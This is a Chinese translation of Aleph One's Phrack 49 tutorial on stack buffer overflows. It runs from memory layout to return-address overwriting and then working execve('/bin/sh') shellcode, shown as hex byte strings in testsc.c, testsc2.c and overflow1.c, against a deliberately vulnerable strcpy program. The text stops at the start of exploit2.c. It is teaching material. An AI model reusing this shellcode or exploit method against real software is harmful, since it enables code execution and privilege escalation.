原文地址:http://www.phrack.org/issues/49/14.html#article
gcc使用说明:http://www.cnblogs.com/sunyubo/archive/2011/09/06/2282054.html
gdb使用说明:http://blog.csdn.net/chief1985/article/details/2441150
shellcode漏洞提权:http://blog.csdn.net/azloong/article/details/6158424
.oO Phrack 49 Oo.
七卷四十九章
文件16之14
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
"Smashing The Stack"为了乐趣与利益双收
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by Aleph One
aleph1@underground.org
"Smashing The Stack"[C语言编程]n.在C程序中实现.)
按惯例声明数组,向里面写入数据,超过边界时,execution stack(执行栈)有可能被摧毁。
这样的代码叫做"smash the stack",能从常规的返回地址跳转到任意地址.
这可以产生人类所能认知的最隐蔽的数据依赖漏洞.
它的变体有trash the stack(用垃圾填塞栈), scribble the stack(打乱栈), mangle the stack(践踏栈);
这里没有使用术语"mung the stack"(译者也不知该如何翻译...),因为这从来不是主观去做的.
见"spam"章节;
同见alias bug(别名漏洞), fandango on core(胡闹内核), memory leak(内存泄露), precedence lossage(优先权丢失), overrun screw(超出对象).(都没听说过..-_-#)
介绍
~~~~~~~~~~~~
过去的几个月,发现和exploit(译者注:这个词既能做动词又能做名词,可理解为"干"漏洞) buffer overflow(缓存溢出)缺陷的事件明显增多.
例子有syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, 等等.
这篇文章,意在解释什么是buffer溢出,以及其exploit的原理.
基础的汇编知识是需要的.
了解虚拟内存的概念,以及gdb的操作经验,会有帮助但不是必须的.
我们假定工作在Intel x86的CPU上,且操作系统是Linux.
在开始之前做以下定义:
buffer是计算机中一段连续的内存块,可以存储同一个数据类型的多个单位.
C程序员常常把它和一个词联系起来,那就是buffer arrays(缓冲区阵列).
最常用的是character arrays(字符数组).
Arrays,如C语言中的variables(变量)一样,可以declared(声明)为static(静态)或dynamic(动态).
Static variables(静态变量),在加载时,被分配到data segment(数据段)中.
data segment(动态变量),在运行时,被分配到stack中.
overflow(溢出)是指flow(漫出),或填充超过top(顶),brims(边),或bounds(边界).
我们只考虑dynamic buffers(动态缓存)的overflow,或者叫做stack-based(基于栈)的buffer overflows.
Process Memory Organization(进程在内存中的组织方式)
~~~~~~~~~~~~~~~~~~~~~~~~~~~
在理解stack buffers是什么之前,首先要明白一个process(进程)在memory(内存)中是如何组织的.
Processes分为三个区域:Text(文本), Data(数据), 和 Stack(栈).
我们关注stack区域,但还是依次总览一下其它区域.
text区域是被program(程序)给fixed(锁定)的,且其中包含了code(instructions)(指令代码)和read-only data(只读数据).
该区域与可执行文件的text区域进行交互.
该区域通常标记为只读,并且任何写入尝试都会导致segmentation violation(段违规)的错误.
数据区域包括initialized(已初始化)和uninitialized(未初始化)的数据.
Static variables存储在该区域.
data区域与可执行文件的bss数据区块进行交互.
它的大小可以通过brk(2)system call(系统调用)进行修改.
如果bss数据扩大,或user stack耗尽内存的话,进程将被阻断,并重新安排更大的内存来运行.
新内存将在data段和stack段之间添加.
/------------------\ lower
| | memory
| Text | addresses
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Stack | higher
| | memory
\------------------/ addresses
图.1 进程的内存区域
什么是栈?
~~~~~~~~~~~~~~~~
栈是计算机科学中经常使用的抽象数据类型.
栈的对象的属性是最后进入栈的对象将最先被移出.
常常称为后进先出,或者LIFO(Last in,first out.).
栈中定义了几种操作.
两种最重要的就是PUSH和POP.
PUSH是在栈的top添加一个元素.
POP,相反,通过移去栈top的最后一个元素来减小栈的大小.
为什么要使用栈?
~~~~~~~~~~~~~~~~~~~~~~
现代计算机设计时考虑了对高级语言的需求.
高级语言引进的最重要的程序构建技术就是procedure(过程)或叫function(函数).
从某个侧面来看,一个过程的调用,比如跳转,会改变控制流,但与跳转不同的是,任务结束后,一个函数会把控制返回调用之后的statement(声明)或instruction(指令).
这种高级的抽象是在栈的帮助下完成的.
栈也可以在函数中动态分配local variables(局部变量),向函数传递参数,以及从函数返回值.
栈区域
~~~~~~~~~~~~~~~~
栈是一个包含数据的连续内存块.
一个名为stack pointer(SP)(栈指针)的寄存器指向栈的top(顶).
栈bottom(底)的地址是固定的.
运行时,内核动态地调整它的大小.
CPU执行指令来对栈进行PUSH或POP.
栈由logical stack frames(逻辑栈帧)组成,调用函数时push入栈,返回时pop出栈.
stack frame(栈帧)包含一个函数的参数,局部变量,以及回到之前栈帧的必要数据,其中包含着调用函数时instruction pointer(指令指针)的值.
栈是向下增长(朝着低内存地址)还是向上增长,这取决于implementation(译者注:编译器).
我们的例子中,使用向下增长的栈.
这是很多计算机中栈的增长方式,包括Intel, Motorola, SPARC及MIPS处理器.
栈指针(SP)也取决于编译器.
它可能指向栈的最后一个地址,或指向栈后下一个自由可用的地址.
在我们讨论中,假设它指向栈的最后一个地址.
除了栈指针,指向栈顶(最低数值地址),常为了便捷而使用一个指向帧内固定地址的frame pointer(FP)(帧指针).
有的文章称之为local base pointer(LB)(局部基指针).
原理上,局部变量可以通过计算其与SP的offsets(偏移)的方式来引用.
但是,由于栈中的词不断压入弹出,偏移会改变.
尽管在有的情况下,编译器可以通过记录栈中词的数量来修正偏移,但也有的情况是做不到的,并且这都要耗费大量的管理.
此外,在有些机器上,如基于Intel的处理器,要访问一个已知其与SP距离的变量,需要多个指令来完成.
因此许多编译器,又使用一个寄存器,FP,来引用局部变量和参数,因为它们与FP的距离不会因为PUSH和POP而改变.
在Intel的CPU中,这就是使用BP(EBP)的目的.
在Motorola的CPU中,除了A7(栈指针)以外的任何地址寄存器也是这样的.
由于我们栈的增长方式,真实参数与FP的偏移是正值,而局部变量与FP的偏移是负值.
过程被调用时做的第一件事就是存储前面的FP(从而可以在过程退出时恢复).
然后将SP复制给FP,从而创建新的FP,然后向前移动SP来存储局部变量.
此代码被称为procedure prolog(过程开场).
过程退出时,栈必须被清理干净,这称为procedure epilog(过程结尾).
Intel的"ENTER"和"LEAVE"指令,以及Motorola的"LINK"和"UNLINK"指令,其实就是快速完成过程开场和过程结尾的工作.
让我们用一个简单的例子来看看栈是什么样子:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
想要理解程序调用function()时做了什么,我们用gcc来编译它,用-S开关来生成汇编代码的输出:
$ gcc -S -o example1.s example1.c
通过查看汇编语言输出,我们看到function()调用可以翻译为:
pushl $3
pushl $2
pushl $1
call function
将函数的3个参数以倒序push进栈,并调用function().
call指令会把instruction pointer(IP)(指令指针)压入栈.
我们将存储的IP称为返回地址(RET).
函数中做的第一件事是procedure prolog(过程开场):
pushl %ebp
movl %esp,%ebp
subl $20,%esp
将帧指针EBP压入栈.
然后将当前SP复制给EBP,让其称为新的FP指针.
我们将存储的FP指针称为SFP.
通过从SP减去大小来为局部变量分配空间.
记住内存只能以字为单位来寻址.
1个字是4字节,或32比特.
所以\5个字节的buffer要占用8字节(2字)的内存,而10字节buffer 要占用12字节(3字)的内存.
这就是为什么要从SP减去20.
要记住,当调用function()时我们的栈是这样子的(每个空格代表一个字节):
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
缓存溢出
~~~~~~~~~~~~~~~~
buffer溢出是向一个buffer填充超过其容量数据而导致的结果.
这个经常出现的编程错误是如何被利用来执行任意代码的?
我们来看另外一个例子:
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
在该程序中,有一个函数是典型的buffer溢出的代码错误.
该函数复制一个字符串时,没有使用带有边界检查的strcpy()来替代strncpy().
如果你运行此程序,将会出现"段违规"错误.
让我们看看调用function时,栈是什么样的:
bottom of top of
memory memory
buffer sfp ret *str
<------ [ ][ ][ ][ ]
top of bottom of
stack stack
里面发生了什么?
我们为什么得到一个"段违规"错误?
简单.
strcpy()将*str(larger_string[])的内容填充到buffer[],直至字符串中的null字符.
我们可以看到buffer[]比*str小很多.
buffer[]是16字节,而我们尝试向它填充256字节的内容.
这意味着在栈中,buffer后的250个字符都将被重写.
这包括了SFP,RET,甚至*str!我们用字符'A'填充large_string.
它16进制的值是0x41.
这意味着当前的返回地址是0x41414141.
这超出了进程的地址空间.
这就是为什么当函数返回和尝试从那地址开始读取下一条指令时,你会得到一个"段违规"错误.
所以buffer溢出能让我们改变一个函数的返回地址.
用这个方法我们能改变程序的执行流.
回到我们的第一个例子,回忆下那个栈的样子:
bottom of top of
memory memory
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
top of bottom of
stack stack
让我们来修改第一个例子,让它重写返回地址,和演示我们如何让它执行任意代码.
在栈中,buffer1[]之前是SFP,再之前是返回地址.
就是buffer1[]结尾后的4字节.
要记得buffer1[]是2字,所以长度是8字节.
所以返回地址是从buffer1[]开头的12字节.
我们修改返回地址的方式是,赋值声明'x = 1;'在函数调用之后将被跳过.
要做到这样,我们向返回地址添加8字节.
我们现在的代码是:
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
我们向buffer1[]的地址添加了12.
这个新地址就是返回地址存储的地方.
我们想跳过赋值声明,直接到printf调用.
我们如何知道要向返回地址添加8?
我们先进行一个值测试(如example 1),编译程序,并开启gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
我们可以看到当调用function()时,RET将是0x8004a8,并且我们想要跳过的赋值地址为0x80004ab.
下一条我们想要执行的指令地址是0x8004b2.
简单的计算告诉我们距离是8字节.
Shell Csode
~~~~~~~~~~
现在我们知道了,我们可以更改返回地址和执行流,那我们想执行什么程序呢?
大多数情况下,我们只需要程序生成一个shell.
通过shell我们可以下达我们想要的命令.
但如果程序中没有我们想要exploit的代码呢?
如何将任意指令插入地址空间呢?
答案是将代码放置到溢出的缓存中,并重写返回地址让它回指缓存.
假设栈的起始地址是0xFF,S代表我们想要执行的代码,那么栈应该是这样子:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
top of bottom of
stack stack
生成shell的C代码是这样子:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
要知道它在汇编中是什么样的,我们编译它并打开gdb.
记得使用-static标识.
否则系统调用execve的实际代码将不会被包括.
取而代之的是加载时引用动态的C库.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
我们来了解一下这里面发生了什么.
从main函数开始:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
这是"过程开场".
首先存储旧帧指针,让当前栈指针称为新的帧指针,来为局部变量腾出空间.
这种情况下:
char *name[2];
或者2个指向char的指针.
指针的长度是1个字长,所以2个指针要腾出2个字长的空间(8字节).
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
我们将值0x80027b8(字符串"/bin/sh"的地址)复制到name[]的第一个指针.
这相当于:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
我们将值0x0(null)复制到name[]的第二个指针.
这相当于:
name[1] = NULL;
execve()的实际调用从这里开始.
0x8000144 <main+20>: pushl $0x0
我们将execve()的参数以倒序压入栈.
以NULL开始.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
将name[]的地址加载到EAX寄存器.
0x8000149 <main+25>: pushl %eax
将name[]的地址压入栈.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
将字符串"/bin/sh"的地址加载到EAX寄存器.
0x800014d <main+29>: pushl %eax
将字符串"/bin/sh" 的地址压入栈.
0x800014e <main+30>: call 0x80002bc <__execve>
调用库程序execve().
调用指令将IP压入栈.
------------------------------------------------------------------------------
现在调用execve().
要记住我们使用的是基于Intel的Linux系统.
系统调用会因OS与CPU的不同而各异.
有的把参数传递给栈,而有的则是把参数传递给寄存器.
有的使用软件中断来跳转至内核模式,而有的则是使用远程调用.
Linux把系统调用的参数放在寄存器中,并使用软件中断来跳转至内核模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
“过程开场”
0x80002c0 <__execve+4>: movl $0xb,%eax
把0xb(十进制的11)复制到栈.
这是系统调用表中的序号.
11是execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址复制到EBX.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址复制到ECX.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指针的地址复制到%edx.
0x80002ce <__execve+18>: int $0x80
进入内核模式.
------------------------------------------------------------------------------
我们看到系统调用execve()中也没太多东西.
我们需要的做的是:
a)内存某处,存在带有终止空字符的字符串"/bin/sh".
b)内存某处,在字符串"/bin/sh"的地址后跟着一个空长字.
c)将0xb复制到EAX寄存器中.
将字符串"/bin/sh"地址的地址复制到EBX寄存器.
把字符串"/bin/sh"的地址复制到ECX寄存器.
f)将空长字的地址复制到EDX寄存器.
g)执行指令 int $0x80.
但假如execve()因为某些原因调用失败了呢?
程序会继续从栈中取回指令,其中可能包括任意数据!
程序很有可能进行核心转储(core dump).
系统调用execve失败的话,我们想让程序干净的退出.
要实现这个,我们必须在系统调用execve后添加一个系统调用exit.
exit系统调用长什么样呢?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
exit系统调用会把0x1放到EAX中,把exit代码放到EBX中,然后执行"int 0x80".
就是这样.
大多数程序退出时返回0以表示无错误.
我们把0放到EBX中.
现在我们的步骤是:
a)内存某处,存在带有终止空字符的字符串"/bin/sh".
b)内存某处,在字符串"/bin/sh"的地址后跟着一个空长字.
c)将0xb复制到EAX寄存器中.
d)将字符串"/bin/sh"地址的地址复制到EBX寄存器.
把字符串"/bin/sh"的地址复制到ECX寄存器.
f)将空长字的地址复制到EDX寄存器.
g)执行指令 int $0x80.
h)将0x1复制到EAX寄存器中.
i)将0x0制到EBX存器中.
j)执行指令 int $0x80.
尝试放到汇编语言中,把字符串放在代码后面,记得将把字符串的地址和空字长放在数组后面,我们得到:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
问题在于,我们想利用的代码(以及之后的字符串)会被程序置于内存的何处.
一种方式是使用JMP和CALL指令.
JMP和CALL指令可以使用IP相对地址,意味着我们可以跳转到当前与IP的一个偏移而无需知道内存中的真实地址.
如果一个CALL指令刚好在字符串"/bin/sh"的前面,并用JMP指令跳转到它,执行CALL指令时字符串的地址会被作为返回地址被压入栈,
我们只需要将返回地址放入一个寄存器.
CALL指令就可以轻松的调用我们前面的代码.
现在假设J代表JMP指令,C代表CALL指令,s代表字符串,执行的过程将会如下:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
top of bottom of
stack stack
如上修改后,采用顺序地址,写下代码中每个指令需要的字节数,如下所示:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
计算以下偏移从jmp到call,从call到popl,从字符串地址到数组,从字符串地址到空长字,我们得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
看起来不错.
要确保它能正常运行,我们必须编译和运行它.
但这有一个问题.
虽然大多数操作系统将代码页标记为只读,但我们的代码还是会自己进行修改.
要绕过这个限制,我们必须将想要执行的代码放到栈或数据区,并将控制交予它.
我们需要将代码放入数据区的全局数组来实现这个.
我们首先需要二进制代码的十六进制显示.
首先编译它,然后用gdb来获取它.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
它运行了!
但是这有一个阻碍.
在大多数情况下,我们会尝试溢出字符缓存.
这样的话我们shellcode中的任何空字节都会被当做字符串的结尾,进而复制被终止.
所以要让exploit运行的话,shellcode中不能有空字节.
让我们来删除这些字节(同时让它变得更小).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
我们改进后的代码:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
我们的新测试程序:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
写一个Exploit
~~~~~~~~~~~~~~~~~~
(或者如何去截获栈)
~~~~~~~~~~~~~~~~~~~~~~~~~~
让我们把所有部分组装起来.
我们有了shellcode.
我们知道它必须作为溢出缓存的字符串的一部分.
我们必须将返回地址指回缓存.
这个例子演示了这三点:
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
我们上面所做的是用buffer[]的地址来填充数组large_string[],buffer[]将是我们代码存储的地方.
之后将shellcode复制到字符串large_string的开始.
strcpy()会将large_string复制到buffer中而不进行任何边界检查,然后溢出返回地址,用我们代码所在位置重写.
一旦main函数结束,它会跳转到我们的代码,并执行一个shell.
我们在尝试溢出时所面临的一个问题是,另一个程序正在想办法找出buffer(即我们的代码)的地址.
答案是对任何程序而言,栈的起始地址都是相同的.
大多数程序不会一次就向栈中压入几百几千字节.
因此,知道栈的起始位置后,我们就可以尝试猜测我们要溢出的buffer的位置.
下面一个小程序,它会打印出它的栈指针.
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假设我们要溢出下面这个程序:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我们创建一个接收以下参数的程序:一个与buffer大小相同的参数,及一个与栈指针的偏移(我们想溢出的缓存所在).
我们将把溢出字符串放到环境变量中,以方便操作:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
